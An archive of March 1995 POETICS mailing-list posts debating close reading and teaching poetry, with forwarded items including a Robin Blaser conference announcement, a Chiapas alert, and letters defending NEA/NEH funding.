meanwhile, having helped me teach a course here (there; where: Tucson) a few years ago, you would I hope exempt my ear from general professorial ineptitude as I would exempt yours from whatever. Or we could play Duelling Ears?

T.

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110. **Tenney Nathanson**

Re: POETICS Digest - 7 Mar 1995 to 8 Mar 1995

Thu 9 Mar 1995

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meanwhile a VERY hearty assent to Ron Silliman's assertion or whatever that:

> But I would love to hear Ed or Don explicate
> the authoritarian impulse they feel lurks behind the practice.
> McA, I've always felt that the turn away from close
> reading via theory was a diminution of theory itself. We're all
> impoverished thereby.

I'd add that the turn away from close reading has an authoritarian aspect to it as well....

Tenney

↑ Index

111. Tenney Nathanson
Re: POETICS Digest - 7 Mar 1995 to 8 Mar 1995
Thu 9 Mar 1995

was I the one who brought students into it? Sorry if so, I guess; am busy teaching a close reading course to grad students for first time is why, I guess. but: the sort of non-academic or non-instructorish obsessive weird hovering over details of a text. P. Quartermain, is just what I had in mind by bringing students in: whatever I think it is I did sitting on subways as a would-be writer reading Pound and Olson obssessively, has NOTHING (almost) to do w what any of my students do, so far, when they read poems and write on them, in the sense that their habits of attention by and large are incredibly clotted up w Big Ideology questions--or perhaps as non-writers mostly getting weened or warned in the academy of the 80s-90s they are being offered a whole set of questions which while meant to supplement close reading skills are instead replacing them wholesale (cf. Kenner on EP and foibles of presumed "classical education" as background "which he proceeded to modify" in ABC & etc.). anyway I was just responding to I don't anymore remember whose suggestion that close reading was authoritarian, w the suggestion or perception or grouse that dealing w students makes me feel just the reverse: that quirky attention to quirky details would in fact be whatever the non-twelve-step word for "enabling" used to be.....

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112. Eliot Katz
more on close reading
Thu 9 Mar 1995

In a lecture I once heard on tape, a terrific Rutgers University left political theorist, Stephen Bronner, talked about artworks as having "internal dynamics" and "external dynamics," both of which deserve consideration. He attributed the phraseology, which I have found really helpful, to a contemporary German philosopher whose name I'd have to look up. As I understand it, the major critique of New Criticism's way of close reading is that it too often ignored the external dynamics of poems--the relationship of texts to important matters (historical events, human lives, political ideologies, etc.) outside the text.
In so doing, the New Critics priveleged certain poetic elements (e.g. textual ambiguity and indeterminacy), and unfairly marginalized others (e.g. more determinate explorations, often radical explorations, of the social world). In *Repression and Recovery*, Cary Nelson does a good job of looking at poetry from the first half of the 20th century that was marginalized by New Critical standards, without denying the quality of the poetry which New Critics championed. It seems to me that, by considering both internal and external

dynamics, it becomes easier to talk about the literary value, as well as the radical potential, of a wider range of poetic styles.

Up the Rebels,
E. Katz

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113. **Joe Amato**
Re: More on close reading
Thu 9 Mar 1995

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ok, i'm gonna be persistent and once again recommend that dissertation i mentioned to those of you who are sweating out the implications of close reading (which i sweat out myself): margaret a. syverson, "the wealth of reality: an ecology of composition" (university of california at san diego, 1994)... syverson is attempting to take into account factors that reach *beyond* the individual (i.e., the individual reader, writer, text)...

so from the diss., p. 31:

We need to discover *who* and *what* are the agents interacting in an ecology of composition; how these agents organize themselves into a more or less coherent whole---a word, a sentence, a poem, a literary genre, a collaborative writing group, a movement such as "romanticism" or "modernism"; how they situate themselves; how they interpret their environments; and how they use their interpretations to engage in purposeful activities and interactions. And specifically, we need to better understand how composing systems are *distributed, embodied, emergent, and enactive* across physical, social, psychological, temporal, and spatial dimensions.

anyway... though syverson's rhetoric may strike some of you as functionalist, fact is the strength of her READINGS (close? intimate? or distant? systemic? or both? etc.) of (again) reznikoff, a collaborative student essay, and a flame war convince me that there is something valuable in her 'approach'...

joe

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114. **maria damon**
the list
Thu 9 Mar 1995

---

hello, i just want to comment briefly, because it seems a bit parasitic to be learning so much from others' conversation and not saying something every once in a while, that i'm enjoying the quality of people's engagement with the

"close reading" issue. i'm glad to have contributed to a concept of textual intimacy and i'm glad there hasn't been any further cultural-studies bashing. i've enjoyed esp. sandra braman and ken sherwood, but everyone else as well, but was puzzled by what i took to be ?irony? on ed foster's part? but others have addressed that. what happened to the questions of community and poetry's "utility" , of which several were forwarded to me by charles b (thanks)--whoever introduced the poem about cocaine, could i please get a copy? over the e?--maria damon

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115. Chris Stroffolino

Re: Teaching close reading

Thu 9 Mar 1995

Another related issue it seems Peter Quatermain and Sandra Braman and Charles Alexander (and others probably) to this question of reading and teaching is what can be called the issue of "breadth" over "depth"--Increasingly, it's becoming obvious that, although I certainly do not wish for a narrow and restrictive canon, that as a teacher the idea of teaching less poems (or whatever) or more SHORTER ones probably is more effective FOR ME (if not for everyone) in the classroom...Last semester i spent a week and half on one Ashbery poem and people would have most likely got not nearly as clear an understanding had I devoted that time to say 5 or 6 of his poems. I also devoted a whole class to a very short Weiners poem and another one to a very short Fanny Howe poem (etc. etc.). Some say this is irresponsible, and though i do not wish to simply say that reading 23 books a semester is irresponsible, I do hope that such academics allow room for people like me to keep our jobs--though what we do may seem "claustrophobic"..Chris Stroffolino

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116. Mn Center For Book Arts

Re: POETICS Digest - 7 Mar 1995 to 8 Mar 1995

Thu 9 Mar 1995

Tenney, you are absolutely right to take me to task. In some sense I learned ear from father reading poetry to me, and from constant reading, with a sense of sounding, from an early age. Yes, Monk helped, as did various other sources, but most likely I could never have heard Monk without having heard much else before. My guess is there's some strange sources that went into this ear, including southern baptist preaching, Tennessee Ernie Ford (a paternal favorite) & more.

Yes, I exempt your ear from criticism directed at the professorial realm, although I exempt it after hearing your poetry & hearing you talk about poetry informally over the years -- I can't entirely remember if concepts of sounding and hearing came up in the class I helped you teach (my couple of hours against your dozens of hours in that class, which I enjoyed, and which, I remember, had a few ears in it).

Merton Sealts (Melville critic) oversaw my graduate teaching experience, and commented that he thought what I did best for the students was read poems aloud. I was shocked to think that other beginning level (this was a freshman sophomore intro to lit class on 19th & 20th century lit -- one century each semester) teachers (grad & faculty) did not do this.

> all best,
> charles alexander

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117. H. T. KIRBY-SMITH
History of Close Reading
Thu 9 Mar 1995

Like many others, I did encounter "close reading" as a shared presumption amoung the critics who are lumped together under "New Criticism." It seems to me that the most important document that encouraged "close reading" was I. A. Richards's PRACTICAL CRITICISM. For Richards, this was a revolutionary and experimental way to proceed--he gave copies of poems to Cambridge University students, or attendees at his elctures, who were supposed to know a lot about poetry. He found that many could not look at a poem and see what was there in front of them. He found that the elite were not very bright, unable to talk about a poem unless they already knew something about the poet and had learned the right things to say.

Richards's experiment paralleled the teachings of T. E. Hulme and Pound, the emphasis on the sharp, clear, image. Later, along came all the careful explications of poems; Donne was read with understanding by many people for the first time in hundreds of years. To read Donne you have to keep your nose to the page.

After neing trained in this "New" thing, I discovered that the French had been doing it in their lycees and universities for years. It was known as explication de texte.

But to learn to read poetry this way makes it almost impossible to read poetry that requires that the reader submit to a vague evocativeness. For example, you have F. R. Leavis's famous demolition of Shelley's "Ode to the West Wind. " You

cannot read Shelley that way. You have to read Shelley as if he were at least part Language Poet. That is even more true of certain poems by Rossetti, William Morris, and Swinburne. You have to loosen up. One cannot study clouds with a microscope. The same is true of good Language Poetry. And of many French Symbolist poems. Gerard de Nerval and much Mallarme. Poetry can be many things, but vague evocativeness has been out of fashion for a long time, perhaps because a hundred years ago there was entirely too much of it. Funny how at the same time there was too much overt didacticism--which the New Criticism also disdained, and which the Beats and the anti-war poets of the sixties and seventies brought back in.

or so it all seems to me

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118. Gabrielle Welford
on the chiapas.... (fwd)
Thu 9 Mar 1995

I hope this isn't inappropriate to post here. Thought there might be among us interested.

Gabrielle

> *Sorry to bring this news to you but I just received this and thought I should pass it on. This sounds serious to me, and some of you may want to do something with respect to this news.*
>
> *Subject: Massacre in Chiapas*

>>>>> >We've just recevied an emergency call from friends in Mexico. They tell us that the Mexican army has surrounded the city of San Cristobal in Chiapas, and that the hospital in the nearby city of Comitan is flooded with casualities. The press is being excluded from the area. The people being attacked are the Myan Indians, and other poor farmers, who've been denied land and food since the conquest.

They've asked that we try to get word about this out via email. While we have no further information beyond this one call I ask you to pass this message on, or tell anyone you think relevant via any means so that this does not occur in silence.

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119. Joe Amato
Re: More on close reading
Thu 9 Mar 1995

in the composition studies vein, and again, methinks, pertinent to this question of close reading/pedagogy, i recommend the following:

derek owens, _resisting writings (and the boundaries of composition)_ (southern methodist up, 1994)...

derek's book is the only one i know to situate writing instruction over and against work by h.d., cage, stein, s. howe, olson, davies, duplessis, brossard, etc... the pluralism he calls for is, imho, a welcome relief from so much in comp. studies that relegates "creative writing" to reductively expressivist theories...

joe

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120. Hank Lazer
close reading
Thu 9 Mar 1995

I've thoroughly enjoyed the postings of the last several days. I find the list taking more and more of my time, but I am learning and engaged. Thanks to all.

When I was at the conference in Louisville, it was great to meet a number of you that I'd had only known via e.

Of the current discussion, probably winding down?, on close reading, I wanted to raise a related issue. Peter had asked what would be the opposite of close reading. Inattentive reading? Non-intensive reading? As others have pointed out, the allegedly conservative nature of close reading has to do with its institutionalization via a textbook: Understanding Poetry. (It's my mpression, that Jed Rasula's forthcoming? just released? book will discuss this history.) In my opinion, recent theory "advances," particularly those stemming from deconstruction, have, in a different context, reiterated "close reading" methodologies, but with much greater play and with different metaphysical stakes.

But the issue that I would like to raise is the relationship of close reading to theme-based reading. It seems to me that much close reading ultimately gets down to a process of unification of the explanation of the poem by means of a thematized understanding. While much (most? all?) newer/innovative/experimental (take your pick) poetries have to one degree or another overthrown such habits of unification and closure, many discussions of

poetry end up defending "new" poetries as having rather traditional modes of meaning (as theme). As various of y'all have pointed out, cultural and contextual readings DO lead in different directions (and sometime away from a close consideration of that great new critical polestar, the text itself). But even so, especially in the domain of the multicultural, many readings boil down to assertions about "content" (a close cousin of "theme").

In one of my poems in Doublespace, I had written that to be "thematized is demonized."

Is close reading inevitably tied to "theme"? Is "thematizing" inevitably associated with retro modes of mastery--a kind of strip-mining of the text?

More later.

Hank Lazer

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121. Charles Watts
THE RECOVERY OF THE PUBLIC WORLD
Thu 9 Mar 1995

Forwarded message:

> Announcing:
> >
> > The Recovery of the Public World: a Conference and Poetry Festival
in Honour of Robin Blaser, his poetry and poetics, June 1-4, 1995, on
the occasion of Robin's 70th birthday and the publication of his major
work, The Holy Forest, at Emily Carr Institute of Art and Design,
Vancouver, B.C., Canada.
> >
> "Poets have repeatedly in this century turned philosophers, so to speak, in
> > order to argue the value of poetry and its practice within the disturbed
> > meanings of our time. These arguments are fascinating because they have
> > everything to do with the poets' sense of reality in which imagery is
> > entangled with thought. Often, they reflect Pound's sense of 'make it
> > new'or the modernist notion that this century and its art are
> > simultaneously the end of something and the beginning of something else,
a
> > new consciousness, and so forth. It is not one argument or another for or
> > against tradition, nor is it the complex renewal of the imaginary which our
> > arts witness, for, as I take it, the enlightened mind does not undervalue
> > the imaginary, which is the most striking matter of these poetics; what is
> > laid out before us finally is the fundamental struggle for the nature of

> > the real. And this, in my view, is a spiritual struggle, both philosophical
> > and poetic. Old spiritual forms, along with positivisms and materialisms,
> > which 'held' the real together have come loose. This is a cliche of our
> > recognitions and condition. But we need only look at the energy of the
> > struggle in philosophy and poetry to make it alive and central to our
> > private and public lives."
> >
> > Robin Blaser, from "The Violets: Charles Olson and Alfred North Whitehead"
> >
Panel discussions will be held on the mornings and afternoons of
the four conference days. There will be an opening night
welcoming and reading on Thursday evening, June 1st; a banquet
Friday evening, June 2nd; a reading featuring many of our invited
guests Saturday evening, June 3rd; and a closing night reading
Sunday, June 4th. What follows are some details about the panels
and other conference and festival events:
> >
The Panels & Their Chairs
> >
> Composition & Performance
> > Daphne Marlatt and Phyllis Webb
> >
> Eros & Poiesis
> > Bruce Boone and Sharon Thesen
> >
> Ethics & Aesthetics
> > Lisa Robertson and Jery Zaslove
> >
> Heterologies
> > Susan Howe and Nathaniel Mackey
> >
> Poetics, Theory & Practice
> > Charles Bernstein and Miriam Nichols
> >
> Translation & Poetry
> > Norma Cole and Michael Palmer
> >
> > The Festival
> > A Gala Series of Readings
> > Thursday, Saturday and Sunday,
> > June 1, 3 and 4

> >
> > The Exhibition
> > In Search of Orpheus:
> > Some Bay Area Poets & Painters
> > Works from 1945-1965 by Robin Blaser, Jess, Fran Herndon and many
> > others; curated by Scott Watson and Greg Bellerby at the
> > Charles H. Scott Gallery. June 1 - 25
> >
> > The Banquet
> > A Feast of Companions
> > Hosted by Kevin Killian and Ellen Tallman; prepared under the culinary
> > supervision of Chef Brian DeBeck. Friday, June 2
> >
> > Some Invited Guests
> >
> Charles Bernstein, E.D. Blodgett, Bruce Boone, George Bowering, David
> > Bromige, Colin Browne, Don Byrd, Norma Cole, Peter Culley, Michael
> > Davidson, Rachel Blau DuPlessis, Clayton Eshleman, Deanna Ferguson,
Peter
> > Gizzi, Robert Hogg, Susan Howe, Pierre Joris, Paul Kelley, Kevin Killian,
> > Joanne Kyger, Steve McCaffery, Karen MacCormack, Michael McClure,
> > Nathaniel Mackey, Daphne Marlatt, Miriam Nichols,
> > Michael Ondaatje, Michael Palmer, Peter Quartermain, Jed Rasula,
 Lisa Robertson, Jerome Rothenberg, Leslie Scalapino,
> > Andrew Schelling, Aaron Shurin, George Stanley, Catriona Strang,
> > Ellen Tallman, Nathaniel Tarn, Sharon Thesen, Lola Tostevin,
> > Pasquale Verdicchio, Fred Wah, Anne Waldman, Phyllis Webb, Jery
Zaslove,
> > Zonko,
> >
> and Robin Blaser.
> >
> > Sponsored By
> > The Institute for the Humanities, Simon Fraser University * The
> > Vice-President Academic, Simon Fraser University * The W.A.C. Bennett
> > Library, Simon Fraser University * The Canada Council * The Charles H.
> > Scott Gallery, Emily Carr Institute of Art and Design * The Fine Arts
> > Gallery, University of British Columbia * The University College
 of the Fraser Valley * The Kootenay School of Writing *
> > The Western Front * The Charles Olson Society
> >
> > Inquiries

> > Phone (voice mail) [redacted]
> > Fax [redacted]
> >
> > Registration Fees
> > Entire package $100
> > (including Panels, Readings and Banquet)
> >
> Panels and Readings only $80
> >
> Students and fixed incomes $60, $40
> >
> Banquet only $25
> >
> Please pay in Canadian funds. Depending on registration, tickets to
> > individual readings will be available at the door of each reading.
> >
> > This event is being organized by volunteers;
> > if it is to be everything we hope for, we're going to need a little help
> > from our friends. Tax receipts will be issued on request for all
> > donations and each donor will be listed in the program as
> >
> A Companion donating $500 or more: your name will be listed in the
program;
> > you'll receive a signed limited edition poster
> > designed by the artist, Christos Dikeakos,
> > all publications resulting from the conference and preferred seating at all
> > events.
> >
> An Ideal Reader donating $250: your name will be listed in the program;
> > you'll receive a signed poster and preferred seating at all events.
> > A Friend donating $150: your name will be listed in the program; you'll
> > receive a pass to all events and an unsigned poster.
> >
> A Pal donating $50: your name will be listed in the program and you'll
> > receive a pass to the banquet. Smaller donations are also welcome; you'll
> > have the satisfaction of knowing you've helped make this festival
> > possible.
> >
> >
> For a brochure giving information about some recommended hotels
> and a tear-off registration form, please send your name and regular
> mail address to:

>
> The Recovery of the Public World
> The Institute for the Humanities
> Simon Fraser University
> Burnaby, B.C. Canada V5A 1S6
>
> or send an e-message to [redacted]
> >
>
> A reminder: Please note that seating is limited at this conference.
If you plan to register, please try to do so by May 1, 1995.

Some Late Additions:

We have added two panels to the conference schedule, names of the panels and their chairs to be announced. The conference will thus begin on the morning of Thursday, June 1st. We're in the process of notifying those whose papers have been chosen for a panel. We're now working out the scheduling of panels and other conference events, and we'll publish a conference/festival programme when we have these details worked out. I'll post the programme information on this list at the same time. Inquiries can also be sent to me at cwatts.sfu.ca. If you have sent us a proposal (and you're wondering what happened to it), we should be able to let you know whether or not it has been accepted for a panel in about a week's time. Please be patient: the process of selecting panelists has been complex and lengthy, but some remarkable panels are coming out of it.

Charles Watts for the conference/festival organizers

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122. Eric M. Gleason
Re: Teaching close reading
Thu 9 Mar 1995

>From a student's point of view...reading one or two shorter poems and discussing them for an entire class (or more) can be much more effective than parsing longer works. Although part of this is because I started as an engineering major and have an attention span accordingly...i find it easier to become intimate with a shorter work, especially when the author or style is new to me. After I get a couple pages into a poem i start to remember less and less, and have more trouble discussing and understanding the discussion of the work.

--

_____

"I was a teenage monkey wrench

Eryque "I know I spell my name wrong but that's no reason to hurt me!" Gleason

[redacted]

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123. Edward Foster
Re: more on close reading
Thu 9 Mar 1995

if "close reading" indicates "correct reading," it is authoritarian. but then, who's to say what's "close"?

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124. Gabrielle Welford
Lobbying for the NEH/NEA (fwd)
Thu 9 Mar 1995

A message some of you may not have seen. Gabrielle

Tell me if I'm steaming up the airways...

---------- Forwarded message ---------- I'd like to share with all of you a letter I received this week. I wonder if you will find it as disturbing as I did. Because of my participation in the NEH Summer Seminars for Teachers (I studied William James' _Varieties of Religious Experience_ at FSU last summer), I'm on the NEH mailing list, and this week I got a letter from NEH which said, in part,

the following: "In recent testimony before the House Interior Appropriations Subcommittee former Chairman of the NEH William J. Bennett singled out the Summer Seminars for School Teachers as an example of one of the ways the NEH has had 'a deleterious effect on our culture.' This criticism was unexpected. Nothing we have seen in the program's thirteen years of existence had suggested that these seminars were anything other than successful by any measure."

The letter went on to ask former seminar participants to comment on the validity of the criticism based on our experience. It also included the text of Mr. Bennett's comments on the subject, and those are what I really want you to see, since you may not have been aware of them. Mr. Bennett, by the way, is also the author of the bestselling _Book of Virtue_. Here is what he had to say about the seminars in a general attack on NEA and NEH:

"...how could the two Endowments hope to serve a larger civic role when they have not improved the quality of the arts and humanities since 1965? There is no question in my mind that things have gotten much worse in these realms during the last three decades.. Some of the dominant movements that have swept through the arts and humanities world include the radical nihilism of post-modern art; homosexual and lesbian self-celebration; Marxism; neo-Marxism; radical feminism and multiculturalism; deconstructionism; and var ious manifestations of political correctness. "When I was chairman of th National Endowment for the Humanities, at my direction the NEH staff, in order to counteract some of the modish projects that were swamping NEH, devised a summer program where high school teachers would devote themselves to the study of a single great work of philosophy, literature, or history. The program worked admirably the first year ...[but] by the third it was obvious that this program was going the way of all the others. The books were being Marxised, feminized, deconstructed, and politicized. High school teachers, far from being exposed to "the best which has been taught and said in the world" (in Matthew Arnold's phrase), were being indoctrinated in the prevailing dogmas of academia."

Among other things, I resent the implication that high school teachers, some of the best educated and, frankly, most opinionated people I know, can be unwillingly "indoctrinated" into anything in a few weeks of classwork. Further more, I think that Bennett has a naive view of culture if he believes that encounters with the "dominant movements of thought" of one's milieu can or should be avoided by thinking people. The Declaration of Independence is a product of a "dominant movement" of eighteenth century thought, for God's sake! And, while one would probably not want to adopt any of them as the whole of one's philosophy of life, and one might indeed have valid grounds for rejecting their theoretical bases, the movements he mentions, such as

multiculturalism, gay self-celebration, and feminism, have contributed much to humanizing our culture and have produced _some_ excellent scholarly work.

I think a valid case could be made (in terms of the proper role of government, for example) for the dropping of federal funding for NEH and NEA, but the idea that such funding should be discontinued because of the dele terious effects of those agencies' programs on our culture is ludicrous. People and cultures are nourished, not diminished, by knowledge and the challenge of new ideas and fresh thought.

Lisa Pearson, MRE
(2)
From: IN%"[redacted]" 21-FEB-1995 14:20:35.92
Subj: RE: Lobbying for the NEH/NEA ...

I'm writing in response to the question of why funding the NEA is important. I am a poet, and have been a recipient of NEA money in several different ways during the course of my career. I am working class, the first of my family to go to college out of high school (my father did go to college nights over the course of 15 years, and finally got a degree the year I graduated from high school). People in my community mostly worked in factories or in the trades. When I found myself writing poetry, it was not out of an academic tradition, but rather out of the desire to tell stories that I could not find in the literature, stories of working class people. My heritage is mixed blood, French-Canadian and Abenaki. Again, not found in the literature. My writing is not a matter of fashion or aesthetic play, but has to do with cultural survival, of being represented in the literature.

My training as a poet was not in MFA programs, but in the community, and with the generosity of older poets such as Etheridge Knight and Sam Cornish - poets who were working in the communities, sometimes receiving some funding from the city/state that dribbled down from NEA sources.

I worked for several years as a writer-in-residence in public schools in Massachusetts. What does that mean, exactly? I taught three or four creative writing classes a day, in programs that lasted from one day to several months at one site. I did readings of my own work and that of other contemporary poets, bringing poetry as a living tradition into the classroom, reading poets who were writing out of the students' own communities, latino, african-american, arab-american, Native American, Asian American, as well as poets from the Anglo tradition, and poets in translation from all over the world.

It was important to students that I was a real person in the community, telling stories about my own community and life. When I was a child, no one ever told me that my stories were important, worthy of literature. I know my example encouraged students to see their own lives and stories as important, as well as

introducing them to the vitality of poetry, and encouraging their skills as writers. Students in my workshops were drawn from all populations, not from honors or "gifted" programs, and teachers were often amazed (though I was not) at the writing done by students with fair or poor academic records. Every residency also included teacher workshops, where I shared ways of teaching poetry and creative writing, and introduced teachers to contemporary poetry they were not familiar with. These artist-in-residence programs were largely funded with money from the NEA.

In 1990, I was awarded a Fellowship from the Massachusetts Artists Foundation, a $10,000 award. This was funded largely by NEA money. This award allowed me to take the time needed to finish my first book of poetry, which was accepted for publication by a small press that receives, you guessed it - funding from the NEA.

With a book out, I was eligible to apply for a Fellowship from the NEA. Individual Fellowships are granted to artists in the amount of $20,000, and in 1993, was awarded a Fellowship from the NEA. The award gave me the time needed to work on a second book of poetry, which will be out this spring. The award has also been seen as a credential, and I with that and my publication record, I have begun teaching on the college and university level.

Without NEA funding, I would have done next no work in the schools - I simply wouldn't have been able to afford it. (As it was, the most I made as a writer-in-residence during the years 1985-1992, working four to five days a week from early October to June, was $12,000 - well under the beginning salary of public school teachers - and I was considered one of the busy and successful artists in the program. This of course, is before taxes and without any benefits. I would say the community was getting it's money's worth and then some. It's important also to understand that all money received by artists is considered and taxed as regular income, so those $20,000 dollar grants actually amount to approx $13,000. When you see the figures allotted to the arts remember they are highly inflated by these omissions.) Without NEA funding it would have taken me much longer to get my first book in print, if indeed, I did it at all.

The impact of a Fellowship in the arts is more than just monetary, it is a great affirmation of the importance of one's work. As the arts are so undervalued in our society, it is crucial to have one's work affirmed. This is especially true for the beginning artist, but is true for artists throughout their career. Poets are not generally paid for writing their poetry. They're paid for teaching writing, doing readings, teaching literature, and sometimes though rarely, for editorial work. Receiving a fellowship is one of the few times when a poet/writer/artist is told: just do the work. That is invaluable.

For a working class artist, who does not automatically have the support of a university environment, the NEA support is crucial. For marginalized communities, who are by definition under-represented, the NEA support is crucial. Many of the small journals that are publishing some of the most vital writing going on in America are NEA funded. Literary writing has been largely pushed out of the trade publishers. Without NEA funds, many small presses would fold. If you care about literature, you should care very much about NEA funding.

The move is to push all funding into private foundations. This system moves money away from the working class and marginalized communities, to where it's least needed. It encourages a good ol' boy system of grant-giving. (I knew no writers on the panels of any funding organization that has given me moeny, so I know it is possible to be funded without being part of a good ol' boy network.) Public funding is crucial. The benefits do not end with the individual artists, but reverberate throughout the community.

I hope others on the Net will share stories of how NEA and NEH funding has effected them, programs they've been a part of, or know about, etc. Please forgive the haste with which this note was written, as I'm doing it on line.

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125. Kathe Davis
Re: more on close reading
Thu 9 Mar 1995

"External dynamics" is perhaps a more expressive way of referring to what most of us have been calling "context" for lo thesemany years. I heard Cleanth Brooks years ago stand up at an English Institute meeting at which the New Criticism was being slammed, and say strongly if in a rather quavery voice that it had never been his intention, or that of anyone he knew, to ELIMINATE considerations of biography, history, etc., (that is, context, or "external dynamics"). They merely wished to call fresh attention to the specificities of the language(s) of poems, since those were being badly neglected. I very much like the notion of close reading as simply a subset of paying attention. Anything can be TAUGHT tyrannically, but there is nothing INHERENTLY tyrannical in being urged to be more aware. On the contrary. k. davis

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126. Loss Glazier
Re: Intimacy and intimations of a micropoetics
Thu 9 Mar 1995

Subject: Intimacy and intimations of a micropoetics

1a. Close reading, closet reading, closet reading, closed reading. Do we impale texts or are they, constituted as texts, offered within a defintion of closure, as closed?

2a. Galloping toward singularity but for a single "reader," no? Is not the singularity (or single array of possibilities) particular to this reader and only trots to "resolution" when a singularity is imposed on others? As to pleasure, it is true in fact that tidying up is a pleasure to some. Does the text differ from a disorderly kitchen?

3a. Yes, possibly the pressure of history. Hallowed halls, etc., have taken their toll and do cast their monolithic shadows by restricting textual terrain. Does close reading equal explication? The former is a kinder phrase but carries the tenor of the latter. Is it my schooling? Did anyone get graded on explication? Does this mean there is a right answer? Time for a little alto?

4a. Maybe not an ethic of closure but a fear of elevation? Is not any "formal" writing elevated? If it's not, "Hey, buddy, can you spare a rhyme," then what is the entry point for someone not conversant with the conventions of the elevation? Walk for ten minutes then rest five...

5a. The mass _does_ turn to theory and this perhaps is the most difficult moment. (Some might say after theory it continues to a consumer product.) But this is not "theory" as a district attorney (we are speaking about law here) would use the word rather the fear of imposed consent. But do not our means of production offer a route out? Or am I under a delusion?

6a. At the reading thinking - this was a break away from what constantly overwhelms me: daily work - "What I need to hear is some elevated language." (Also dialect.) And boy did I need to hear some elevated words. It _is_ elevated: physically, of course, there is a stage - in this case a podium. But the reading voice offers words that are _set_. That is, written in some other frame of place and activity, transported, and delivered as if encased, framed, "on the crispest sheet of white paper," I think I noted. Setting up the dilemma perhaps instantly.

7a. Most probably that the monolith has penetrated through original texts to secondary and the teriary. For the syllabi of the lambs a lullaby. If poetry were to fade from the academy should it not be carried on by word of mouth? Is _any_ comment on text theory? Or close?

Loss Glazier

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127. **Ted Pelton**

Re: Form

Thu 9 Mar 1995

I really liked Bill Luoma's description of his compositional process when writing My Trip to NYC. I'd never heard of this work, but I'll be on the lookout for it from now on. That sense of the wonderful accident, followed by the fear one will never be able to repeat the moment; not knowing how it happened, the feeling if one only knew it could be repeated, but then knowing that each new text creates each own success story as it were; unreproduceability part of the uniqueness of the text, its genius--don't mean for this to become blather, but the uncertainty Luoma describes struck me as exactly right, or exactly my own experience.

I'm a fiction writer, so-called, but very influenced in my writing process by Olsonian "field" notions, every moment in the writing a new decision in a continually revised field, ever reformulating itself with each new decision. Yeah, when it works, there's nothing like it, but it also leads to a lot of garbage. But it's the way I write, I can't do it any other way, a fact which has come clearer to me as I've been working on a so-called novel. I tried to figure out a plot, even if just to get me another step into the book. But I found as soon as started trying to follow it, I'd mess it up. Intentionally.

In prose, there's the example of Poe, who said that everything should be figured out to the least little detail before ever setting pen to paper. I used to think Poe was making it up, perversely creating a counter-myth to prevailing romantic theories of composition. I don't think so anymore (about Poe) but it's still a very foreign method to my own. I get too bored with just filling in the blanks of a pre-planned piece. Nor do I think lively writing can be accomplished unless there's a sense it's renewing itself all the time, turning over and over again.

I forget who said it, but I've also found oulipo-style formally rigorous experiments engender work well. Again, at times. "Either it works or it doesn't," as I seem to recall Spicer saying somewhere. But knowing you only get so many lines here, so many there, and letting that become something that hadn't been there before is a nice way of having constant and variant, that play between which can be fruitful.

Now, in this "novel," I am working one episode at a time. I have a loose idea of where I'm going, but want no more than that because when I do, like I said, I fuck it up. I'm also reading a lot, letting ideas or even just images set me off. I remember hearing once (it may be apocryphal, and I'd like to be corrected by someone with better information) that in Olson's library, volumes would have copious notes, starting in the beginning and up until a certain point, where the marginalia would just stop. Presumably this is where he'd start writing. I'm

committed to a long form on this work though, and its tru I do have some tricks I'm keeping around for later (but it's also true they might not fit; they're in the field as I see it now, but may be abandoned later). I'd like to hear from people who have written things that couldn't be completed in one sitting, or even a couple -- extended works -- yet are committed to a similar improvisatory approach. I'm suffering long droughts in between successful episodes.

Ted Pelton

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128. kathryne lindberg

Re: the list

Fri 10 Mar 1995

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can anyone help with a name, location? I simply cannot remember who told me about a poet, at Fresno State, I think, who is working on/with/ within the Volga Deutsch community in Central California. Anybody know? I'd like to be in touch with this person. Believe she is a woman. What a well of ignorance I am this late evening. This query is prompted by the death of another of my fast disappearing and tangle-rooted or rhizomatic family leaves. Never thought I'd be rooting around in this a/A/ohm-poetics. Sorry to break into the meditation onclose reading which y'll are pounding out. Thanks indeed for the enlivening discourse, of course.

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129. Marjorie Perloff

Re: POETICS Digest - 8 Mar 1995 to 9 Mar 1995

Fri 10 Mar 1995

I was delighted to read some of the "close reading" commentaries triggered by Peter Quartermain's great query, especially Tenney Nathanson's because I've had the identical experience. The fear of close = closed which began as a needed response to the New Criticsm (which, incidentally, performed mostly thematic rather than really close readings) has now produced the opposite: students confronted by, say, Beckett or Aime Cesaire, ignore what's on the page and jump off to some ideological position. When asked why a line breaks in a certain place or what the relationship of some item to another is, they are absolutely at a loss because no one has ever asked them to just plain really read or reread, that is look empirically at what's actually there, materially. So I'm delighted that the tide is finally turning, as it seems to be judging from this week's discussion. Marjorie Perloff

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130. **Tom White**

Re: POETICS Digest - 8 Mar 1995 to 9 Mar 1995

Fri 10 Mar 1995

The Recovery of the Public World: a Conference and Poetry Festival in Honour of Robin Blaser, his poetry and poetics, June 1-4, 1995, on the occasion of Robin's 70th birthday and the publication of his major work, The Holy Forest, at Emily Carr Institute of Art and Design, Vancouver, B.C., Canada.

"Poets have repeatedly in this century turned philosophers, so to speak, in order to argue the value of poetry and its practice within the disturbed meanings of our time. These arguments are fascinating because they have everything to do with the poets' sense of reality in which imagery is entangled with thought. Often, they reflect Pound's sense of 'make it new'or the modernist notion that this century and its art are simultaneously the end of something and the beginning of something else, a new consciousness, and so forth. It is not one argument or another for or against tradition, nor is it the complex renewal of the imaginary which our arts witness, for, as I take it, the enlightened mind does not undervalue the imaginary, which is the most striking matter of these poetics; what is laid out before us finally is the fundamental struggle for the nature of the real. And this, in my view, is a spiritual struggle, both philosophical and poetic. Old spiritual forms, along with positivisms and materialisms, which 'held' the real together have come loose. This is a cliche of our recognitions and condition. But we need only look at the energy of the struggle in philosophy and poetry to make it alive and central to our private and public lives."

Robin Blaser, from "The Violets: Charles Olson and Alfred North Whitehead"

Panel discussions will be held on the mornings and afternoons of the four conference days. There will be an opening night welcoming and reading on Thursday evening, June 1st; a banquet Friday evening, June 2nd; a reading featuring many of our invited guests Saturday evening, June 3rd; and a closing night reading Sunday, June 4th. What follows are some details about the panels and other conference and festival events:

The Panels & Their Chairs

Composition & Performance
Daphne Marlatt and Phyllis Webb

Eros & Poiesis
Bruce Boone and Sharon Thesen

Ethics & Aesthetics
Lisa Robertson and Jery Zaslove

Heterologies
Susan Howe and Nathaniel Mackey

Poetics, Theory & Practice
Charles Bernstein and Miriam Nichols

Translation & Poetry
Norma Cole and Michael Palmer

The Festival
A Gala Series of Readings
Thursday, Saturday and Sunday,
June 1, 3 and 4

The Exhibition
In Search of Orpheus:
Some Bay Area Poets & Painters
